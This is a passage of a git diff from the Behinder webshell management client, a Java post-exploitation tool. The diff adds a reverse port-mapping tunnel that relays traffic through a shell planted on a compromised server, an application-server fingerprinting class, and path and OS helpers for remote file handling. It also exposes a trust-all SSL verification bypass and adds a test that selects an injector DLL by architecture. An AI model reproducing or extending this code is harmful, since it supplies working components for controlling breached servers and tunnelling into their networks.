+ socketMeta.put("socketHash", socketHash);
+ this.socketMetaList.put(socketHash, socketMeta);
+ Map paramMap = new HashMap();
+ paramMap.put("socketMeta", socketMeta);
+ TunnelViewController.ReversePortMapWorker reversePortMapWorkerReader = TunnelViewController.this.new ReversePortMapWorker("read", paramMap);
+ TunnelViewController.ReversePortMapWorker reversePortMapWorkerWriter = TunnelViewController.this.new ReversePortMapWorker("write", paramMap);
+ TunnelViewController.this.ReversePortMapWorkerList.add(reversePortMapWorkerReader);
+ TunnelViewController.this.ReversePortMapWorkerList.add(reversePortMapWorkerWriter);
+ Thread reader = new Thread(reversePortMapWorkerReader);
+ Thread writer = new Thread(reversePortMapWorkerWriter);
+ TunnelViewController.this.workList.add(reader);
+ TunnelViewController.this.workList.add(writer);
+ reader.start();
+ writer.start();
+ }
+ }
+
+ Thread.sleep(3000L);
+ } catch (Exception var19) {
+ break;
+ }
+ }
+ } else {
+ Map socketMetax;
+ String socketHashx;
+ Socket socket;
+ byte[] buf;
+ JSONObject var24;
+ if (this.threadType.equals("read")) {
+ socketMetax = (Map)this.paramMap.get("socketMeta");
+ socketHashx = socketMetax.get("socketHash").toString();
+ socket = (Socket)socketMetax.get("socket");
+
+ while(true) {
+ try {
+ Thread.sleep(100L);
+ buf = TunnelViewController.this.currentShellService.readReversePortMapData(socketHashx);
+ socket.getOutputStream().write(buf);
+ socket.getOutputStream().flush();
+ } catch (Exception var18) {
+ try {
+ var24 = TunnelViewController.this.currentShellService.closeReversePortMap(socketHashx);
+ } catch (Exception var16) {
+ }
+ break;
+ }
+ }
+ } else if (this.threadType.equals("write")) {
+ socketMetax = (Map)this.paramMap.get("socketMeta");
+ socketHashx = socketMetax.get("socketHash").toString();
+ socket = (Socket)socketMetax.get("socket");
+
+ try {
+ buf = new byte[20480];
+
+ for(bytesRead = socket.getInputStream().read(buf); bytesRead > 0; bytesRead = socket.getInputStream().read(buf)) {
+ TunnelViewController.this.currentShellService.writeReversePortMapData(Arrays.copyOfRange(buf, 0, bytesRead), socketHashx);
+ }
+ } catch (Exception var17) {
+ try {
+ var24 = TunnelViewController.this.currentShellService.closeReversePortMap(socketHashx);
+ } catch (Exception var15) {
+ }
+ }
+ }
+ }
+
+ }
+
+ public void close(String listenIP, String listenPort) {
+ }
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/UpdateInfoViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/UpdateInfoViewController.java
index 8d544b5..76fa014 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/UpdateInfoViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/UpdateInfoViewController.java
@@ -1,6 +1,7 @@
package net.rebeyond.behinder.ui.controller;
import java.util.List;
+import javafx.application.Platform;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
@@ -10,6 +11,7 @@
import net.rebeyond.behinder.core.Constants;
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
+import net.rebeyond.behinder.utils.Utils;
import org.json.JSONObject;
public class UpdateInfoViewController {
@@ -39,4 +41,29 @@ private void initUpdateInfoView() {
String updateUrl = "https://www.rebeyond.net/Behinder/update.html?ver=" + Constants.VERSION;
this.updateInfoWebview.getEngine().load(updateUrl);
}
+
+ private void checkUpdate() {
+ Runnable runner = () -> {
+ try {
+ String updateInfoText = Utils.sendGetRequest("https://www.rebeyond.net/Behinder/update.html?ver=" + Constants.VERSION, "");
+ JSONObject updateInfoObj = new JSONObject(updateInfoText);
+ if (updateInfoObj.getString("needUpdate").equals("true")) {
+ String latestVersion = updateInfoObj.getString("latestVersion");
+ Platform.runLater(() -> {
+ this.statusLabel.setText("发现新版本:" + latestVersion);
+ });
+ } else {
+ Platform.runLater(() -> {
+ this.updateInfoWebview.getEngine().loadContent(updateInfoObj.getString("body"));
+ });
+ }
+ } catch (Exception var4) {
+ this.statusLabel.setText("检查更新出错。");
+ }
+
+ };
+ Thread workThrad = new Thread(runner);
+ this.workList.add(workThrad);
+ workThrad.start();
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/utils/ReplacingInputStream.java b/src/main/java/net/rebeyond/behinder/utils/ReplacingInputStream.java
index b5897ee..a2c7d4f 100644
--- a/src/main/java/net/rebeyond/behinder/utils/ReplacingInputStream.java
+++ b/src/main/java/net/rebeyond/behinder/utils/ReplacingInputStream.java
@@ -60,7 +60,7 @@ public int read() throws IOException {
this.outQueue.offer(Integer.valueOf(b));
}
} else {
- this.outQueue.add((Integer)this.inQueue.remove());
+ this.outQueue.add(this.inQueue.remove());
}
}
diff --git a/src/main/java/net/rebeyond/behinder/utils/ServerDetector.java b/src/main/java/net/rebeyond/behinder/utils/ServerDetector.java
new file mode 100644
index 0000000..44e6246
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/utils/ServerDetector.java
@@ -0,0 +1,258 @@
+package net.rebeyond.behinder.utils;
+
+public class ServerDetector {
+ public static final String GERONIMO_ID = "geronimo";
+ public static final String GLASSFISH_ID = "glassfish";
+ public static final String JBOSS_ID = "jboss";
+ public static final String JETTY_ID = "jetty";
+ public static final String JONAS_ID = "jonas";
+ public static final String OC4J_ID = "oc4j";
+ public static final String RESIN_ID = "resin";
+ public static final String TOMCAT_ID = "tomcat";
+ public static final String WEBLOGIC_ID = "weblogic";
+ public static final String WEBSPHERE_ID = "websphere";
+ private static ServerDetector _instance = new ServerDetector();
+ private String _serverId;
+ private Boolean _geronimo;
+ private Boolean _glassfish;
+ private Boolean _glassfish2;
+ private Boolean _glassfish3;
+ private Boolean _jBoss;
+ private Boolean _jetty;
+ private Boolean _jonas;
+ private Boolean _oc4j;
+ private Boolean _resin;
+ private Boolean _tomcat;
+ private Boolean _webLogic;
+ private Boolean _webSphere;
+
+ public static String getServerId() {
+ ServerDetector sd = _instance;
+ if (sd._serverId == null) {
+ if (isGeronimo()) {
+ sd._serverId = "geronimo";
+ } else if (isGlassfish()) {
+ sd._serverId = "glassfish";
+ } else if (isJBoss()) {
+ sd._serverId = "jboss";
+ } else if (isJOnAS()) {
+ sd._serverId = "jonas";
+ } else if (isOC4J()) {
+ sd._serverId = "oc4j";
+ } else if (isResin()) {
+ sd._serverId = "resin";
+ } else if (isWebLogic()) {
+ sd._serverId = "weblogic";
+ } else if (isWebSphere()) {
+ sd._serverId = "websphere";
+ }
+
+ if (isJetty()) {
+ if (sd._serverId == null) {
+ sd._serverId = "jetty";
+ } else {
+ sd._serverId = sd._serverId + "-jetty";
+ }
+ } else if (isTomcat()) {
+ if (sd._serverId == null) {
+ sd._serverId = "tomcat";
+ } else {
+ sd._serverId = sd._serverId + "-tomcat";
+ }
+ }
+
+ if (sd._serverId == null) {
+ throw new RuntimeException("Server is not supported");
+ }
+ }
+
+ return sd._serverId;
+ }
+
+ public static boolean isGeronimo() {
+ ServerDetector sd = _instance;
+ if (sd._geronimo == null) {
+ sd._geronimo = _detect("/org/apache/geronimo/system/main/Daemon.class");
+ }
+
+ return sd._geronimo;
+ }
+
+ public static boolean isGlassfish() {
+ ServerDetector sd = _instance;
+ if (sd._glassfish == null) {
+ String value = System.getProperty("com.sun.aas.instanceRoot");
+ if (value != null) {
+ sd._glassfish = Boolean.TRUE;
+ } else {
+ sd._glassfish = Boolean.FALSE;
+ }
+ }
+
+ return sd._glassfish;
+ }
+
+ public static boolean isGlassfish2() {
+ ServerDetector sd = _instance;
+ if (sd._glassfish2 == null) {
+ if (isGlassfish() && !isGlassfish3()) {
+ sd._glassfish2 = Boolean.TRUE;
+ } else {
+ sd._glassfish2 = Boolean.FALSE;
+ }
+ }
+
+ return sd._glassfish2;
+ }
+
+ public static boolean isGlassfish3() {
+ ServerDetector sd = _instance;
+ if (sd._glassfish3 == null) {
+ String value = "";
+ if (isGlassfish()) {
+ value = getString(System.getProperty("product.name"));
+ }
+
+ if (value.equals("GlassFish/v3")) {
+ sd._glassfish3 = Boolean.TRUE;
+ } else {
+ sd._glassfish3 = Boolean.FALSE;
+ }
+ }
+
+ return sd._glassfish3;
+ }
+
+ public static boolean isJBoss() {
+ ServerDetector sd = _instance;
+ if (sd._jBoss == null) {
+ sd._jBoss = _detect("/org/jboss/Main.class");
+ }
+
+ return sd._jBoss;
+ }
+
+ public static boolean isJetty() {
+ ServerDetector sd = _instance;
+ if (sd._jetty == null) {
+ sd._jetty = _detect("/org/mortbay/jetty/Server.class");
+ }
+
+ return sd._jetty;
+ }
+
+ public static boolean isJOnAS() {
+ ServerDetector sd = _instance;
+ if (sd._jonas == null) {
+ sd._jonas = _detect("/org/objectweb/jonas/server/Server.class");
+ }
+
+ return sd._jonas;
+ }
+
+ public static boolean isOC4J() {
+ ServerDetector sd = _instance;
+ if (sd._oc4j == null) {
+ sd._oc4j = _detect("oracle.oc4j.util.ClassUtils");
+ }
+
+ return sd._oc4j;
+ }
+
+ public static boolean isResin() {
+ ServerDetector sd = _instance;
+ if (sd._resin == null) {
+ sd._resin = _detect("/com/caucho/server/resin/Resin.class");
+ }
+
+ return sd._resin;
+ }
+
+ public static boolean isSupportsComet() {
+ return false;
+ }
+
+ public static boolean isTomcat() {
+ ServerDetector sd = _instance;
+ if (sd._tomcat == null) {
+ sd._tomcat = _detect("/org/apache/catalina/startup/Bootstrap.class");
+ }
+
+ if (sd._tomcat == null) {
+ sd._tomcat = _detect("/org/apache/catalina/startup/Embedded.class");
+ }
+
+ return sd._tomcat;
+ }
+
+ public static boolean isWebLogic() {
+ ServerDetector sd = _instance;
+ if (sd._webLogic == null) {
+ sd._webLogic = _detect("/weblogic/Server.class");
+ }
+
+ return sd._webLogic;
+ }
+
+ public static boolean isWebSphere() {
+ ServerDetector sd = _instance;
+ if (sd._webSphere == null) {
+ sd._webSphere = _detect("/com/ibm/websphere/product/VersionInfo.class");
+ }
+
+ return sd._webSphere;
+ }
+
+ private static Boolean _detect(String className) {
+ try {
+ ClassLoader.getSystemClassLoader().loadClass(className);
+ return Boolean.TRUE;
+ } catch (ClassNotFoundException var4) {
+ ServerDetector sd = _instance;
+ Class c = sd.getClass();
+ return c.getResource(className) != null ? Boolean.TRUE : Boolean.FALSE;
+ }
+ }
+
+ public static String getString(String value) {
+ return getString(value, "");
+ }
+
+ public static String getString(String value, String defaultValue) {
+ return get(value, defaultValue);
+ }
+
+ public static String get(String value, String defaultValue) {
+ if (value != null) {
+ value = value.trim();
+ value = replace(value, "\r\n", "\n");
+ return value;
+ } else {
+ return defaultValue;
+ }
+ }
+
+ public static String replace(String s, String oldSub, String newSub) {
+ if (s != null && oldSub != null && newSub != null) {
+ int y = s.indexOf(oldSub);
+ if (y < 0) {
+ return s;
+ } else {
+ StringBuilder sb = new StringBuilder(s.length() + 5 * newSub.length());
+ int length = oldSub.length();
+
+ int x;
+ for(x = 0; x <= y; y = s.indexOf(oldSub, x)) {
+ sb.append(s.substring(x, y));
+ sb.append(newSub);
+ x = y + length;
+ }
+
+ sb.append(s.substring(x));
+ return sb.toString();
+ }
+ } else {
+ return null;
+ }
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/utils/StringUtils.java b/src/main/java/net/rebeyond/behinder/utils/StringUtils.java
new file mode 100644
index 0000000..0428f72
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/utils/StringUtils.java
@@ -0,0 +1,28 @@
+package net.rebeyond.behinder.utils;
+
+/**
+ * Behinder
+ * net.rebeyond.behinder.utils
+ * DESC
+ *
+ * @author 张海山
+ * @date 2021/4/11
+ */
+public class StringUtils {
+
+ public static final String EMPTY = "";
+
+ public static String toString(Object obj){
+ if(obj==null){
+ return null;
+ }
+ return obj.toString();
+ }
+
+ public static String toStringEmpty(Object obj){
+ if(obj==null){
+ return EMPTY;
+ }
+ return obj.toString();
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/utils/Utils.java b/src/main/java/net/rebeyond/behinder/utils/Utils.java
index 314ad04..d43d129 100644
--- a/src/main/java/net/rebeyond/behinder/utils/Utils.java
+++ b/src/main/java/net/rebeyond/behinder/utils/Utils.java
@@ -22,6 +22,7 @@
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetAddress;
+import java.net.MalformedURLException;
import java.net.Proxy;
import java.net.Socket;
import java.net.URI;
@@ -50,6 +51,9 @@
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipInputStream;
+import javafx.scene.control.Alert;
+import javafx.scene.control.Alert.AlertType;
+import javafx.stage.Window;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.KeyManager;
@@ -66,6 +70,7 @@
import javax.tools.SimpleJavaFileObject;
import javax.tools.JavaFileManager.Location;
import javax.tools.JavaFileObject.Kind;
+import net.rebeyond.behinder.core.Constants;
import net.rebeyond.behinder.core.Crypt;
import net.rebeyond.behinder.core.Params;
import net.rebeyond.behinder.ui.controller.MainController;
@@ -90,7 +95,6 @@ public static boolean checkPort(String portTxt) {
}
public static Map getKeyAndCookie(String getUrl, String password, Map requestHeaders) throws Exception {
- disableSslVerification();
Map result = new HashMap();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
@@ -206,7 +210,7 @@ public static Map getKeyAndCookie(String getUrl, String password, Map requestHea
}
if (end - start == 16) {
- result.put("cookie", (String)KeyAndCookie.get("cookie"));
+ result.put("cookie", KeyAndCookie.get("cookie"));
result.put("beginIndex", start + "");
result.put("endIndex", temp.length - end + "");
String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
@@ -332,7 +336,7 @@ public static String sendPostRequest(String urlPath, String cookie, String data)
public static Map requestAndParse(String urlPath, Map header, byte[] data, int beginIndex, int endIndex) throws Exception {
Map resultObj = sendPostRequestBinary(urlPath, header, data);
- byte[] resData = (byte[])resultObj.get("data");
+ byte[] resData = (byte[])((byte[])resultObj.get("data"));
if ((beginIndex != 0 || endIndex != 0) && resData.length - endIndex >= beginIndex) {
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
}
@@ -353,7 +357,8 @@ public static Map sendPostRequestBinary(String urlPath, Map header, byte[] data)
conn = (HttpURLConnection)url.openConnection();
}
- conn.setRequestProperty("Content-Type", "application/octet-stream");
+ conn.setConnectTimeout(15000);
+ conn.setUseCaches(true);
conn.setRequestMethod("POST");
int length;
if (header != null) {
@@ -370,7 +375,6 @@ public static Map sendPostRequestBinary(String urlPath, Map header, byte[] data)
conn.setDoOutput(true);
conn.setDoInput(true);
- conn.setUseCaches(false);
OutputStream outwritestream = conn.getOutputStream();
outwritestream.write(data);
outwritestream.flush();
@@ -548,6 +552,11 @@ public static String map2Str(Map paramsMap) {
return result;
}
+ public static String getFileType(String fileName) {
+ int extIndex = fileName.lastIndexOf(".");
+ return extIndex >= 0 ? fileName.substring(extIndex + 1).toLowerCase() : "";
+ }
+
public static byte[] getData(String key, int encryptType, String className, Map params, String type, byte[] extraData) throws Exception {
byte[] bincls;
byte[] encrypedBincls;
@@ -678,6 +687,11 @@ public static String getSelfPath() throws Exception {
return currentPath;
}
+ public static String getSelfJarPath() throws Exception {
+ String currentPath = Utils.class.getProtectionDomain().getCodeSource().getLocation().getPath().toString();
+ return currentPath;
+ }
+
public static JSONObject parsePluginZip(String zipFilePath) throws Exception {
String pluginRootPath = getSelfPath() + "/Plugins";
String pluginName = "";
@@ -768,7 +782,7 @@ public static void main(String[] args) {
}
- private static void disableSslVerification() {
+ public static void disableSslVerification() {
try {
TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
@@ -878,6 +892,135 @@ public static int matchData(byte[] srcData, byte[] dataToFind) {
return -1;
}
+ public static String formatPath(String path) {
+ if (path.indexOf("\\") > 0) {
+ path = path.replaceAll("\\\\", "/");
+ }
+
+ if (path.endsWith(":")) {
+ path = path + "/";
+ }
+
+ if (!path.endsWith("/")) {
+ path = path + "/";
+ }
+
+ if (isWindowsPath(path)) {
+ path = path.substring(0, 1).toUpperCase() + path.substring(1);
+ }
+
+ return path;
+ }
+
+ public static boolean isWindowsPath(String path) {
+ return path.length() > 1 && path.substring(0, 2).matches("^[a-zA-Z]:");
+ }
+
+ public static String getRootPath(String path) {
+ String rootPath = "/";
+ if (isWindowsPath(path)) {
+ rootPath = formatPath(path.substring(0, 2));
+ }
+
+ return rootPath;
+ }
+
+ public static boolean isWindows(Map basicInfoMap) {
+ String osInfo = (String)basicInfoMap.get("osInfo");
+ return osInfo.indexOf("windows") >= 0 || osInfo.indexOf("winnt") >= 0;
+ }
+
+ public static int getOSType(String osInfo) {
+ int osType = -1;
+ if (osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0) {
+ if (osInfo.indexOf("linux") >= 0) {
+ osType = Constants.OS_TYPE_LINUX;
+ } else if (osInfo.indexOf("mac") >= 0) {
+ osType = Constants.OS_TYPE_MAC;
+ }
+ } else {
+ osType = Constants.OS_TYPE_WINDOWS;
+ }
+
+ return osType;
+ }
+
+ public static void showErrorMessage(String title, String msg) {
+ Alert alert = new Alert(AlertType.ERROR);
+ Window window = alert.getDialogPane().getScene().getWindow();
+ window.setOnCloseRequest((event) -> {
+ window.hide();
+ });
+ alert.setTitle(title);
+ alert.setHeaderText("");
+ alert.setContentText(msg);
+ alert.show();
+ }
+
+ public static void showInfoMessage(String title, String msg) {
+ Alert alert = new Alert(AlertType.INFORMATION);
+ Window window = alert.getDialogPane().getScene().getWindow();
+ window.setOnCloseRequest((event) -> {
+ window.hide();
+ });
+ alert.setTitle(title);
+ alert.setHeaderText("");
+ alert.setContentText(msg);
+ alert.show();
+ }
+
+ public static String getOrDefault(JSONObject obj, String key, Class type) {
+ String result = "";
+ if (obj.has(key)) {
+ result = obj.get(key).toString();
+ } else if (type == String.class) {
+ result = "";
+ } else if (type == Integer.TYPE) {
+ result = "0";
+ }
+
+ return result;
+ }
+
+ public static String getBaseUrl(String urlStr) {
+ String result = urlStr;
+
+ try {
+ URL url = new URL(urlStr);
+ int port = url.getPort();
+ if (port == -1) {
+ result = url.getProtocol() + "://" + url.getHost();
+ } else {
+ result = url.getProtocol() + "://" + url.getHost() + ":" + url.getPort();
+ }
+ } catch (MalformedURLException var4) {
+ var4.printStackTrace();
+ }
+
+ return result;
+ }
+
+ public static class MyJavaFileManager extends ForwardingJavaFileManager {
+ protected MyJavaFileManager(JavaFileManager fileManager) {
+ super(fileManager);
+ }
+
+ public JavaFileObject getJavaFileForInput(Location location, String className, Kind kind) throws IOException {
+ JavaFileObject javaFileObject = (JavaFileObject)Utils.fileObjects.get(className);
+ if (javaFileObject == null) {
+ super.getJavaFileForInput(location, className, kind);
+ }
+
+ return javaFileObject;
+ }
+
+ public JavaFileObject getJavaFileForOutput(Location location, String qualifiedClassName, Kind kind, FileObject sibling) throws IOException {
+ JavaFileObject javaFileObject = new Utils.MyJavaFileObject(qualifiedClassName, kind);
+ Utils.fileObjects.put(qualifiedClassName, javaFileObject);
+ return javaFileObject;
+ }
+ }
+
private static class MySSLSocketFactory extends SSLSocketFactory {
private SSLSocketFactory sf;
private String[] enabledCiphers;
@@ -931,27 +1074,6 @@ public Socket createSocket(InetAddress address, int port, InetAddress localaddre
}
}
- public static class MyJavaFileManager extends ForwardingJavaFileManager {
- protected MyJavaFileManager(JavaFileManager fileManager) {
- super(fileManager);
- }
-
- public JavaFileObject getJavaFileForInput(Location location, String className, Kind kind) throws IOException {
- JavaFileObject javaFileObject = (JavaFileObject)Utils.fileObjects.get(className);
- if (javaFileObject == null) {
- super.getJavaFileForInput(location, className, kind);
- }
-
- return javaFileObject;
- }
-
- public JavaFileObject getJavaFileForOutput(Location location, String qualifiedClassName, Kind kind, FileObject sibling) throws IOException {
- JavaFileObject javaFileObject = new Utils.MyJavaFileObject(qualifiedClassName, kind);
- Utils.fileObjects.put(qualifiedClassName, javaFileObject);
- return javaFileObject;
- }
- }
-
public static class MyJavaFileObject extends SimpleJavaFileObject {
private String source;
private ByteArrayOutputStream outPutStream;
diff --git a/src/main/java/net/rebeyond/behinder/utils/ZipUtil.java b/src/main/java/net/rebeyond/behinder/utils/ZipUtil.java
index 8ae5798..7f6fa04 100644
--- a/src/main/java/net/rebeyond/behinder/utils/ZipUtil.java
+++ b/src/main/java/net/rebeyond/behinder/utils/ZipUtil.java
@@ -20,7 +20,6 @@ public static void main(String[] args) {
try {
unZipFiles("/Users/rebeyond/newScan.zip", "/Users/rebeyond/newScan");
} catch (Exception var2) {
- var2.printStackTrace();
}
}
diff --git a/src/main/resources/data.db b/src/main/resources/data.db
index b87129d..7ad44b6 100644
Binary files a/src/main/resources/data.db and b/src/main/resources/data.db differ
diff --git a/src/test/java/org/mountcloud/Test.java b/src/test/java/org/mountcloud/Test.java
new file mode 100644
index 0000000..db5463a
--- /dev/null
+++ b/src/test/java/org/mountcloud/Test.java
@@ -0,0 +1,22 @@
+package org.mountcloud;
+
+/**
+ * Behinder
+ * org.mountcloud
+ * DESC
+ *
+ * @author 张海山
+ * @date 2021/4/11
+ */
+public class Test {
+ @org.junit.Test
+ public void test(){
+ String var1 = "injector.dll";
+ String osArch = System.getProperty("os.arch");
+ if (osArch.contains("64")) {
+ var1 = "injector64.dll";
+ }
+
+ System.out.println(var1);
+ }
+}